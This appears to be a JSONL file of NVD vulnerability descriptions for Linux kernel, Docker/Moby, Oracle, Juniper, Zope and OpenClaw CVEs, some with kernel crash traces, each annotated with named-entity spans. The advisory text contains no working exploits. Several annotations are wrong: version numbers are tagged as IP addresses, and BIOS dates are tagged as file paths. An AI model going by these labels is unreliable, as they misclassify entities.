{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nstmmac: Clear variable when destroying workqueue\n\nCurrently when suspending driver and stopping workqueue it is checked whether\nworkqueue is not NULL and if so, it is destroyed.\nFunction destroy_workqueue() does drain queue and does clear variable, but\nit does not set workqueue variable to NULL. This can cause kernel/module\npanic if code attempts to clear workqueue that was not initialized.\n\nThis scenario is possible when resuming suspended driver in stmmac_resume(),\nbecause there is no handling for failed stmmac_hw_setup(),\nwhich can fail and return if DMA engine has failed to initialize,\nand workqueue is initialized after DMA engine.\nShould DMA engine fail to initialize, resume will proceed normally,\nbut interface won't work and TX queue will eventually timeout,\ncausing 'Reset adapter' error.\nThis then does destroy workqueue during reset process.\nAnd since workqueue is initialized after DMA engine and can be skipped,\nit will cause kernel/module panic.\n\nTo secure against this possible crash, set workqueue variable to NULL when\ndestroying workqueue.\n\nLog/backtrace from crash goes as follows:\n[88.031977]------------[ cut here ]------------\n[88.031985]NETDEV WATCHDOG: eth0 (sxgmac): transmit queue 1 timed out\n[88.032017]WARNING: CPU: 0 PID: 0 at net/sched/sch_generic.c:477 dev_watchdog+0x390/0x398\n           <Skipping backtrace for watchdog timeout>\n[88.032251]---[ end trace e70de432e4d5c2c0 ]---\n[88.032282]sxgmac 16d88000.ethernet eth0: Reset adapter.\n[88.036359]------------[ cut here ]------------\n[88.036519]Call trace:\n[88.036523] flush_workqueue+0x3e4/0x430\n[88.036528] drain_workqueue+0xc4/0x160\n[88.036533] destroy_workqueue+0x40/0x270\n[88.036537] stmmac_fpe_stop_wq+0x4c/0x70\n[88.036541] stmmac_release+0x278/0x280\n[88.036546] __dev_close_many+0xcc/0x158\n[88.036551] dev_close_many+0xbc/0x190\n[88.036555] dev_close.part.0+0x70/0xc0\n[88.036560] dev_close+0x24/0x30\n[88.036564] stmmac_service_task+0x110/0x140\n[88.036569] process_one_work+0x1d8/0x4a0\n[88.036573] worker_thread+0x54/0x408\n[88.036578] kthread+0x164/0x170\n[88.036583] ret_from_fork+0x10/0x20\n[88.036588]---[ end trace e70de432e4d5c2c1 ]---\n[88.036597]Unable to handle kernel NULL pointer dereference at virtual address 0000000000000004", "spans": {"FILEPATH: /sched/sch_generic.c": [[1336, 1356]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[2237, 2261]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26802"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\neventpoll: don't decrement ep refcount while still holding the ep mutex\n\nJann Horn points out that epoll is decrementing the ep refcount and then\ndoing a\n\n    mutex_unlock(&ep->mtx);\n\nafterwards. That's very wrong, because it can lead to a use-after-free.\n\nThat pattern is actually fine for the very last reference, because the\ncode in question will delay the actual call to \"ep_free(ep)\" until after\nit has unlocked the mutex.\n\nBut it's wrong for the much subtler \"next to last\" case when somebody\n*else* may also be dropping their reference and free the ep while we're\nstill using the mutex.\n\nNote that this is true even if that other user is also using the same ep\nmutex: mutexes, unlike spinlocks, can not be used for object ownership,\neven if they guarantee mutual exclusion.\n\nA mutex \"unlock\" operation is not atomic, and as one user is still\naccessing the mutex as part of unlocking it, another user can come in\nand get the now released mutex and free the data structure while the\nfirst user is still cleaning up.\n\nSee our mutex documentation in Documentation/locking/mutex-design.rst,\nin particular the section [1] about semantics:\n\n\t\"mutex_unlock() may access the mutex structure even after it has\n\t internally released the lock already - so it's not safe for\n\t another context to acquire the mutex and assume that the\n\t mutex_unlock() context is not using the structure anymore\"\n\nSo if we drop our ep ref before the mutex unlock, but we weren't the\nlast one, we may then unlock the mutex, another user comes in, drops\n_their_ reference and releases the 'ep' as it now has no users - all\nwhile the mutex_unlock() is still accessing it.\n\nFix this by simply moving the ep refcount dropping to outside the mutex:\nthe refcount itself is atomic, and doesn't need mutex protection (that's\nthe whole _point_ of refcounts: unlike mutexes, they are inherently\nabout object lifetimes).", "spans": {"FILEPATH: /locking/mutex-design.rst": [[1135, 1160]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[309, 323]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38349"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntunnels: do not assume mac header is set in skb_tunnel_check_pmtu()\n\nRecently added debug in commit f9aefd6b2aa3 (\"net: warn if mac header\nwas not set\") caught a bug in skb_tunnel_check_pmtu(), as shown\nin this syzbot report [1].\n\nIn ndo_start_xmit() paths, there is really no need to use skb->mac_header,\nbecause skb->data is supposed to point at it.\n\n[1] WARNING: CPU: 1 PID: 8604 at include/linux/skbuff.h:2784 skb_mac_header_len include/linux/skbuff.h:2784 [inline]\nWARNING: CPU: 1 PID: 8604 at include/linux/skbuff.h:2784 skb_tunnel_check_pmtu+0x5de/0x2f90 net/ipv4/ip_tunnel_core.c:413\nModules linked in:\nCPU: 1 PID: 8604 Comm: syz-executor.3 Not tainted 5.19.0-rc2-syzkaller-00443-g8720bd951b8e #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011\nRIP: 0010:skb_mac_header_len include/linux/skbuff.h:2784 [inline]\nRIP: 0010:skb_tunnel_check_pmtu+0x5de/0x2f90 net/ipv4/ip_tunnel_core.c:413\nCode: 00 00 00 00 fc ff df 4c 89 fa 48 c1 ea 03 80 3c 02 00 0f 84 b9 fe ff ff 4c 89 ff e8 7c 0f d7 f9 e9 ac fe ff ff e8 c2 13 8a f9 <0f> 0b e9 28 fc ff ff e8 b6 13 8a f9 48 8b 54 24 70 48 b8 00 00 00\nRSP: 0018:ffffc90002e4f520 EFLAGS: 00010212\nRAX: 0000000000000324 RBX: ffff88804d5fd500 RCX: ffffc90005b52000\nRDX: 0000000000040000 RSI: ffffffff87f05e3e RDI: 0000000000000003\nRBP: ffffc90002e4f650 R08: 0000000000000003 R09: 000000000000ffff\nR10: 000000000000ffff R11: 0000000000000000 R12: 000000000000ffff\nR13: 0000000000000000 R14: 000000000000ffcd R15: 000000000000001f\nFS: 00007f3babba9700(0000) GS:ffff8880b9b00000(0000) knlGS:0000000000000000\nCS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000020000080 CR3: 0000000075319000 CR4: 00000000003506e0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n<TASK>\ngeneve_xmit_skb drivers/net/geneve.c:927 [inline]\ngeneve_xmit+0xcf8/0x35d0 drivers/net/geneve.c:1107\n__netdev_start_xmit include/linux/netdevice.h:4805 [inline]\nnetdev_start_xmit include/linux/netdevice.h:4819 [inline]\n__dev_direct_xmit+0x500/0x730 net/core/dev.c:4309\ndev_direct_xmit include/linux/netdevice.h:3007 [inline]\npacket_direct_xmit+0x1b8/0x2c0 net/packet/af_packet.c:282\npacket_snd net/packet/af_packet.c:3073 [inline]\npacket_sendmsg+0x21f4/0x55d0 net/packet/af_packet.c:3104\nsock_sendmsg_nosec net/socket.c:714 [inline]\nsock_sendmsg+0xcf/0x120 net/socket.c:734\n____sys_sendmsg+0x6eb/0x810 net/socket.c:2489\n___sys_sendmsg+0xf3/0x170 net/socket.c:2543\n__sys_sendmsg net/socket.c:2572 [inline]\n__do_sys_sendmsg net/socket.c:2581 [inline]\n__se_sys_sendmsg net/socket.c:2579 [inline]\n__x64_sys_sendmsg+0x132/0x220 net/socket.c:2579\ndo_syscall_x64 arch/x86/entry/common.c:50 [inline]\ndo_syscall_64+0x35/0xb0 arch/x86/entry/common.c:80\nentry_SYSCALL_64_after_hwframe+0x46/0xb0\nRIP: 0033:0x7f3baaa89109\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007f3babba9168 EFLAGS: 00000246 ORIG_RAX: 000000000000002e\nRAX: ffffffffffffffda RBX: 00007f3baab9bf60 RCX: 00007f3baaa89109\nRDX: 0000000000000000 RSI: 0000000020000a00 RDI: 0000000000000003\nRBP: 00007f3baaae305d R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 00007ffe74f2543f R14: 00007f3babba9300 R15: 0000000000022000\n</TASK>", "spans": {"FILEPATH: /linux/skbuff.h": [[462, 477], [509, 524], [575, 590], [900, 915]], "FILEPATH: /ipv4/ip_tunnel_core.c": [[634, 656], [978, 1000]], "FILEPATH: /01/2011": [[855, 863]], "FILEPATH: /net/geneve.c": [[1944, 1957], [2003, 2016]], "FILEPATH: /linux/netdevice.h": [[2049, 2067], [2107, 2125], [2213, 2231]], "FILEPATH: /core/dev.c": [[2173, 2184]], "FILEPATH: /packet/af_packet.c": [[2280, 2299], [2318, 2337], [2384, 2403]], "FILEPATH: /x86/entry/common.c": [[2781, 2800], [2841, 2860]], "FILEPATH: socket.c": [[2432, 2440], [2482, 2490], [2527, 2535], [2571, 2579], [2603, 2611], [2647, 2655], [2691, 2699], [2748, 2756]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[789, 795], [796, 802], [818, 824], [846, 852]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49663"}}
{"text": "An Unchecked Return Value vulnerability in the authd (authentication daemon) of Juniper Networks Junos OS on MX Series configured for subscriber management / BBE allows an adjacent attacker to cause a crash by sending a specific username. This impacts authentication, authorization, and accounting (AAA) services on the MX devices and leads to a Denial of Service (DoS) condition. Continued receipted of these PPP login request will create a sustained Denial of Service (DoS) condition. This issue affects: Juniper Networks Junos OS 15.1 versions prior to 15.1R7-S9; 17.3 versions prior to 17.3R3-S12; 17.4 versions prior to 17.4R3-S5; 18.1 versions prior to 18.1R3-S13; 18.2 versions prior to 18.2R3-S8; 18.3 versions prior to 18.3R3-S5; 18.4 versions prior to 18.4R3-S9; 19.1 versions prior to 19.1R3-S6; 19.2 versions prior to 19.2R1-S7, 19.2R3-S3; 19.3 versions prior to 19.3R2-S6, 19.3R3-S3; 19.4 versions prior to 19.4R3-S3; 20.1 versions prior to 20.1R3; 20.2 versions prior to 20.2R3-S1; 20.3 versions prior to 20.3R3; 20.4 versions prior to 20.4R3; 21.1 versions prior to 21.1R2.", "spans": {"ORGANIZATION: Juniper": [[80, 87], [507, 514]], "VULNERABILITY: Denial of Service": [[346, 363], [452, 469]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-31366"}}
{"text": "Moby) is an open source container framework developed by Docker Inc. that is distributed as Docker, Mirantis Container Runtime, and various other downstream projects/products. The Moby daemon component (`dockerd`), which is developed as moby/moby is commonly referred to as *Docker*.\n\nSwarm Mode, which is compiled in and delivered by default in `dockerd` and is thus present in most major Moby downstreams, is a simple, built-in container orchestrator that is implemented through a combination of SwarmKit and supporting network code.\n\nThe `overlay` network driver is a core feature of Swarm Mode, providing isolated virtual LANs that allow communication between containers and services across the cluster. This driver is an implementation/user of VXLAN, which encapsulates link-layer (Ethernet) frames in UDP datagrams that tag the frame with the VXLAN metadata, including a VXLAN Network ID (VNI) that identifies the originating overlay network. In addition, the overlay network driver supports an optional, off-by-default encrypted mode, which is especially useful when VXLAN packets traverses an untrusted network between nodes.\n\nEncrypted overlay networks function by encapsulating the VXLAN datagrams through the use of the IPsec Encapsulating Security Payload protocol in Transport mode. By deploying IPSec encapsulation, encrypted overlay networks gain the additional properties of source authentication through cryptographic proof, data integrity through check-summing, and confidentiality through encryption.\n\nWhen setting an endpoint up on an encrypted overlay network, Moby installs three iptables (Linux kernel firewall) rules that enforce both incoming and outgoing IPSec. These rules rely on the `u32` iptables extension provided by the `xt_u32` kernel module to directly filter on a VXLAN packet's VNI field, so that IPSec guarantees can be enforced on encrypted overlay networks without interfering with other overlay networks or other users of VXLAN.\n\nThe `overlay` driver dynamically and lazily defines the kernel configuration for the VXLAN network on each node as containers are attached and detached. Routes and encryption parameters are only defined for destination nodes that participate in the network. The iptables rules that prevent encrypted overlay networks from accepting unencrypted packets are not created until a peer is available with which to communicate.\n\nEncrypted overlay networks silently accept cleartext VXLAN datagrams that are tagged with the VNI of an encrypted overlay network. As a result, it is possible to inject arbitrary Ethernet frames into the encrypted overlay network by encapsulating them in VXLAN datagrams. The implications of this can be quite dire, and GHSA-vwm3-crmr-xfxw should be referenced for a deeper exploration.\n\nPatches are available in Moby releases 23.0.3, and 20.10.24. As Mirantis Container Runtime's 20.10 releases are numbered differently, users of that platform should update to 20.10.16.\n\nSome workarounds are available. In multi-node clusters, deploy a global ‘pause’ container for each encrypted overlay network, on every node. For a single-node cluster, do not use overlay networks of any sort. Bridge networks provide the same connectivity on a single node and have no multi-node features. The Swarm ingress feature is implemented using an overlay network, but can be disabled by publishing ports in `host` mode instead of `ingress` mode (allowing the use of an external load balancer), and removing the `ingress` network. If encrypted overlay networks are in exclusive use, block UDP port 4789 from traffic that has not been validated by IPSec.", "spans": {"SYSTEM: Linux kernel": [[1612, 1624]], "ORGANIZATION: Docker": [[57, 63], [92, 98], [275, 281]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-28842"}}
{"text": "Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Fusion Middleware (component: Visual Analyzer).  Supported versions that are affected are 5.9.0.0.0 and  6.4.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Oracle Business Intelligence Enterprise Edition accessible data as well as  unauthorized read access to a subset of Oracle Business Intelligence Enterprise Edition accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).", "spans": {"IP_ADDRESS: 5.9.0.0": [[177, 184]], "IP_ADDRESS: 6.4.0.0": [[192, 199]], "ORGANIZATION: Oracle": [[21, 27], [80, 86], [310, 316], [477, 483], [707, 713], [823, 829]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-21892"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nidpf: fix checksums set in idpf_rx_rsc()\n\nidpf_rx_rsc() uses skb_transport_offset(skb) while the transport header\nis not set yet.\n\nThis triggers the following warning for CONFIG_DEBUG_NET=y builds.\n\nDEBUG_NET_WARN_ON_ONCE(!skb_transport_header_was_set(skb))\n\n[   69.261620] WARNING: CPU: 7 PID: 0 at ./include/linux/skbuff.h:3020 idpf_vport_splitq_napi_poll (include/linux/skbuff.h:3020) idpf\n[   69.261629] Modules linked in: vfat fat dummy bridge intel_uncore_frequency_tpmi intel_uncore_frequency_common intel_vsec_tpmi idpf intel_vsec cdc_ncm cdc_eem cdc_ether usbnet mii xhci_pci xhci_hcd ehci_pci ehci_hcd libeth\n[   69.261644] CPU: 7 UID: 0 PID: 0 Comm: swapper/7 Tainted: G S      W          6.14.0-smp-DEV #1697\n[   69.261648] Tainted: [S]=CPU_OUT_OF_SPEC, [W]=WARN\n[   69.261650] RIP: 0010:idpf_vport_splitq_napi_poll (include/linux/skbuff.h:3020) idpf\n[   69.261677] ? __warn (kernel/panic.c:242 kernel/panic.c:748)\n[   69.261682] ? idpf_vport_splitq_napi_poll (include/linux/skbuff.h:3020) idpf\n[   69.261687] ? report_bug (lib/bug.c:?)\n[   69.261690] ? handle_bug (arch/x86/kernel/traps.c:285)\n[   69.261694] ? exc_invalid_op (arch/x86/kernel/traps.c:309)\n[   69.261697] ? asm_exc_invalid_op (arch/x86/include/asm/idtentry.h:621)\n[   69.261700] ? __pfx_idpf_vport_splitq_napi_poll (drivers/net/ethernet/intel/idpf/idpf_txrx.c:4011) idpf\n[   69.261704] ? idpf_vport_splitq_napi_poll (include/linux/skbuff.h:3020) idpf\n[   69.261708] ? idpf_vport_splitq_napi_poll (drivers/net/ethernet/intel/idpf/idpf_txrx.c:3072) idpf\n[   69.261712] __napi_poll (net/core/dev.c:7194)\n[   69.261716] net_rx_action (net/core/dev.c:7265)\n[   69.261718] ? __qdisc_run (net/sched/sch_generic.c:293)\n[   69.261721] ? sched_clock (arch/x86/include/asm/preempt.h:84 arch/x86/kernel/tsc.c:288)\n[   69.261726] handle_softirqs (kernel/softirq.c:561)", "spans": {"FILEPATH: /include/linux/skbuff.h": [[370, 393]], "FILEPATH: /linux/skbuff.h": [[435, 450], [905, 920], [1049, 1064], [1472, 1487]], "FILEPATH: /x86/kernel/traps.c": [[1151, 1170], [1213, 1232]], "FILEPATH: /x86/include/asm/idtentry.h": [[1279, 1306]], "FILEPATH: /net/ethernet/intel/idpf/idpf_txrx.c": [[1371, 1407], [1552, 1588]], "FILEPATH: /core/dev.c": [[1631, 1642], [1682, 1693]], "FILEPATH: /sched/sch_generic.c": [[1733, 1753]], "FILEPATH: /x86/include/asm/preempt.h": [[1793, 1819]], "FILEPATH: /x86/kernel/tsc.c": [[1827, 1844]], "FILEPATH: panic.c": [[964, 971], [983, 990]], "FILEPATH: bug.c": [[1109, 1114]], "FILEPATH: softirq.c": [[1889, 1898]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21890"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/khugepaged: fix ->anon_vma race\n\nIf an ->anon_vma is attached to the VMA, collapse_and_free_pmd() requires\nit to be locked.\n\nPage table traversal is allowed under any one of the mmap lock, the\nanon_vma lock (if the VMA is associated with an anon_vma), and the\nmapping lock (if the VMA is associated with a mapping); and so to be\nable to remove page tables, we must hold all three of them. \nretract_page_tables() bails out if an ->anon_vma is attached, but does\nthis check before holding the mmap lock (as the comment above the check\nexplains).\n\nIf we racily merged an existing ->anon_vma (shared with a child\nprocess) from a neighboring VMA, subsequent rmap traversals on pages\nbelonging to the child will be able to see the page tables that we are\nconcurrently removing while assuming that nothing else can access them.\n\nRepeat the ->anon_vma check once we hold the mmap lock to ensure that\nthere really is no concurrent page table access.\n\nHitting this bug causes a lockdep warning in collapse_and_free_pmd(),\nin the line \"lockdep_assert_held_write(&vma->anon_vma->root->rwsem)\". \nIt can also lead to use-after-free access.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[1175, 1189]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52935"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/bugs: Use code segment selector for VERW operand\n\nRobert Gill reported below #GP in 32-bit mode when dosemu software was\nexecuting vm86() system call:\n\n  general protection fault: 0000 [#1] PREEMPT SMP\n  CPU: 4 PID: 4610 Comm: dosemu.bin Not tainted 6.6.21-gentoo-x86 #1\n  Hardware name: Dell Inc. PowerEdge 1950/0H723K, BIOS 2.7.0 10/30/2010\n  EIP: restore_all_switch_stack+0xbe/0xcf\n  EAX: 00000000 EBX: 00000000 ECX: 00000000 EDX: 00000000\n  ESI: 00000000 EDI: 00000000 EBP: 00000000 ESP: ff8affdc\n  DS: 0000 ES: 0000 FS: 0000 GS: 0033 SS: 0068 EFLAGS: 00010046\n  CR0: 80050033 CR2: 00c2101c CR3: 04b6d000 CR4: 000406d0\n  Call Trace:\n   show_regs+0x70/0x78\n   die_addr+0x29/0x70\n   exc_general_protection+0x13c/0x348\n   exc_bounds+0x98/0x98\n   handle_exception+0x14d/0x14d\n   exc_bounds+0x98/0x98\n   restore_all_switch_stack+0xbe/0xcf\n   exc_bounds+0x98/0x98\n   restore_all_switch_stack+0xbe/0xcf\n\nThis only happens in 32-bit mode when VERW based mitigations like MDS/RFDS\nare enabled. This is because segment registers with an arbitrary user value\ncan result in #GP when executing VERW. Intel SDM vol. 2C documents the\nfollowing behavior for VERW instruction:\n\n  #GP(0) - If a memory operand effective address is outside the CS, DS, ES,\n\t   FS, or GS segment limit.\n\nCLEAR_CPU_BUFFERS macro executes VERW instruction before returning to user\nspace. Use %cs selector to reference VERW operand. This ensures VERW will\nnot #GP for an arbitrary user %ds.\n\n[ mingo: Fixed the SOB chain. ]", "spans": {"FILEPATH: /30/2010": [[407, 415]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[1164, 1169]], "ORGANIZATION: Dell": [[361, 365]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50072"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nACPICA: fix acpi operand cache leak in dswstate.c\n\nACPICA commit 987a3b5cf7175916e2a4b6ea5b8e70f830dfe732\n\nI found an ACPI cache leak in ACPI early termination and boot continuing case.\n\nWhen early termination occurs due to malicious ACPI table, Linux kernel\nterminates ACPI function and continues to boot process. While kernel terminates\nACPI function, kmem_cache_destroy() reports Acpi-Operand cache leak.\n\nBoot log of ACPI operand cache leak is as follows:\n>[    0.585957] ACPI: Added _OSI(Module Device)\n>[    0.587218] ACPI: Added _OSI(Processor Device)\n>[    0.588530] ACPI: Added _OSI(3.0 _SCP Extensions)\n>[    0.589790] ACPI: Added _OSI(Processor Aggregator Device)\n>[    0.591534] ACPI Error: Illegal I/O port address/length above 64K: C806E00000004002/0x2 (20170303/hwvalid-155)\n>[    0.594351] ACPI Exception: AE_LIMIT, Unable to initialize fixed events (20170303/evevent-88)\n>[    0.597858] ACPI: Unable to start the ACPI Interpreter\n>[    0.599162] ACPI Error: Could not remove SCI handler (20170303/evmisc-281)\n>[    0.601836] kmem_cache_destroy Acpi-Operand: Slab cache still has objects\n>[    0.603556] CPU: 0 PID: 1 Comm: swapper/0 Not tainted 4.12.0-rc5 #26\n>[    0.605159] Hardware name: innotek gmb_h virtual_box/virtual_box, BIOS virtual_box 12/01/2006\n>[    0.609177] Call Trace:\n>[    0.610063]  ? dump_stack+0x5c/0x81\n>[    0.611118]  ? kmem_cache_destroy+0x1aa/0x1c0\n>[    0.612632]  ? acpi_sleep_proc_init+0x27/0x27\n>[    0.613906]  ? acpi_os_delete_cache+0xa/0x10\n>[    0.617986]  ? acpi_ut_delete_caches+0x3f/0x7b\n>[    0.619293]  ? acpi_terminate+0xa/0x14\n>[    0.620394]  ? acpi_init+0x2af/0x34f\n>[    0.621616]  ? __class_create+0x4c/0x80\n>[    0.623412]  ? video_setup+0x7f/0x7f\n>[    0.624585]  ? acpi_sleep_proc_init+0x27/0x27\n>[    0.625861]  ? do_one_initcall+0x4e/0x1a0\n>[    0.627513]  ? kernel_init_freeable+0x19e/0x21f\n>[    0.628972]  ? rest_init+0x80/0x80\n>[    0.630043]  ? kernel_init+0xa/0x100\n>[    0.631084]  ? ret_from_fork+0x25/0x30\n>[    0.633343] vgaarb: loaded\n>[    0.635036] EDAC MC: Ver: 3.0.0\n>[    0.638601] PCI: Probing PCI hardware\n>[    0.639833] PCI host bridge to bus 0000:00\n>[    0.641031] pci_bus 0000:00: root bus resource [io  0x0000-0xffff]\n> ... Continue to boot and log is omitted ...\n\nI analyzed this memory leak in detail and found acpi_ds_obj_stack_pop_and_\ndelete() function miscalculated the top of the stack. acpi_ds_obj_stack_push()\nfunction uses walk_state->operand_index for start position of the top, but\nacpi_ds_obj_stack_pop_and_delete() function considers index 0 for it.\nTherefore, this causes acpi operand memory leak.\n\nThis cache leak causes a security threat because an old kernel (<= 4.9) shows\nmemory locations of kernel functions in stack dump. Some malicious users\ncould use this information to neutralize kernel ASLR.\n\nI made a patch to fix ACPI operand cache leak.", "spans": {"HASH: 987a3b5cf7175916e2a4b6ea5b8e70f830dfe732": [[134, 174]], "FILEPATH: /01/2006": [[1335, 1343]], "FILEPATH: dswstate.c": [[108, 118]], "SYSTEM: Linux kernel": [[7, 19], [315, 327]], "VULNERABILITY: memory leak": [[2342, 2353], [2661, 2672]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38345"}}
{"text": "Zope is an open-source web application server. Zope versions prior to versions 4.6.3 and 5.3 have a remote code execution security issue. In order to be affected, one must use Python 3 for one's Zope deployment, run Zope 4 below version 4.6.3 or Zope 5 below version 5.3, and have the optional `Products.PythonScripts` add-on package installed. By default, one must have the admin-level Zope \"Manager\" role to add or edit Script (Python) objects through the web. Only sites that allow untrusted users to add/edit these scripts through the web are at risk. Zope releases 4.6.3 and 5.3 are not vulnerable. As a workaround, a site administrator can restrict adding/editing Script (Python) objects through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing these scripts through the web should be restricted to trusted users only. This is the default configuration in Zope.", "spans": {"SYSTEM: Python": [[176, 182], [430, 436], [678, 684]], "VULNERABILITY: remote code execution": [[100, 121]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32811"}}
{"text": "OpenClaw is a personal AI assistant. Prior to OpenClaw version 2026.2.14, the Gateway tool accepted a tool-supplied `gatewayUrl` without sufficient restrictions, which could cause the OpenClaw host to attempt outbound WebSocket connections to user-specified targets. This requires the ability to invoke tools that accept `gatewayUrl` overrides (directly or indirectly). In typical setups this is limited to authenticated operators, trusted automation, or environments where tool calls are exposed to non-operators. In other words, this is not a drive-by issue for arbitrary internet users unless a deployment explicitly allows untrusted users to trigger these tool calls. Some tool call paths allowed `gatewayUrl` overrides to flow into the Gateway WebSocket client without validation or allowlisting. This meant the host could be instructed to attempt connections to non-gateway endpoints (for example, localhost services, private network addresses, or cloud metadata IPs). In the common case, this results in an outbound connection attempt from the OpenClaw host (and corresponding errors/timeouts). In environments where the tool caller can observe the results, this can also be used for limited network reachability probing. If the target speaks WebSocket and is reachable, further interaction may be possible. Starting in version 2026.2.14, tool-supplied `gatewayUrl` overrides are restricted to loopback (on the configured gateway port) or the configured `gateway.remote.url`. Disallowed protocols, credentials, query/hash, and non-root paths are rejected.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-26322"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: don't drop extent_map for free space inode on write error\n\nWhile running the CI for an unrelated change I hit the following panic\nwith generic/648 on btrfs_holes_spacecache.\n\nassertion failed: block_start != EXTENT_MAP_HOLE, in fs/btrfs/extent_io.c:1385\n------------[ cut here ]------------\nkernel BUG at fs/btrfs/extent_io.c:1385!\ninvalid opcode: 0000 [#1] PREEMPT SMP NOPTI\nCPU: 1 PID: 2695096 Comm: fsstress Kdump: loaded Tainted: G        W          6.8.0-rc2+ #1\nRIP: 0010:__extent_writepage_io.constprop.0+0x4c1/0x5c0\nCall Trace:\n <TASK>\n extent_write_cache_pages+0x2ac/0x8f0\n extent_writepages+0x87/0x110\n do_writepages+0xd5/0x1f0\n filemap_fdatawrite_wbc+0x63/0x90\n __filemap_fdatawrite_range+0x5c/0x80\n btrfs_fdatawrite_range+0x1f/0x50\n btrfs_write_out_cache+0x507/0x560\n btrfs_write_dirty_block_groups+0x32a/0x420\n commit_cowonly_roots+0x21b/0x290\n btrfs_commit_transaction+0x813/0x1360\n btrfs_sync_file+0x51a/0x640\n __x64_sys_fdatasync+0x52/0x90\n do_syscall_64+0x9c/0x190\n entry_SYSCALL_64_after_hwframe+0x6e/0x76\n\nThis happens because we fail to write out the free space cache in one\ninstance, come back around and attempt to write it again.  However on\nthe second pass through we go to call btrfs_get_extent() on the inode to\nget the extent mapping.  Because this is a new block group, and with the\nfree space inode we always search the commit root to avoid deadlocking\nwith the tree, we find nothing and return a EXTENT_MAP_HOLE for the\nrequested range.\n\nThis happens because the first time we try to write the space cache out\nwe hit an error, and on an error we drop the extent mapping.  This is\nnormal for normal files, but the free space cache inode is special.  We\nalways expect the extent map to be correct.  Thus the second time\nthrough we end up with a bogus extent map.\n\nSince we're deprecating this feature, the most straightforward way to\nfix this is to simply skip dropping the extent map range for this failed\nrange.\n\nI shortened the test by using error injection to stress the area to make\nit easier to reproduce.  With this patch in place we no longer panic\nwith my error injection test.", "spans": {"FILEPATH: /btrfs/extent_io.c": [[306, 324], [383, 401]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26726"}}
{"text": "Vulnerability in the Oracle Depot Repair product of Oracle E-Business Suite (component: Estimate and Actual Charges). Supported versions that are affected are 12.1.1-12.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Depot Repair. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Depot Repair, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Depot Repair accessible data as well as unauthorized update, insert or delete access to some of Oracle Depot Repair accessible data. CVSS 3.0 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [52, 58], [282, 288], [420, 426], [613, 619], [716, 722]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2849"}}
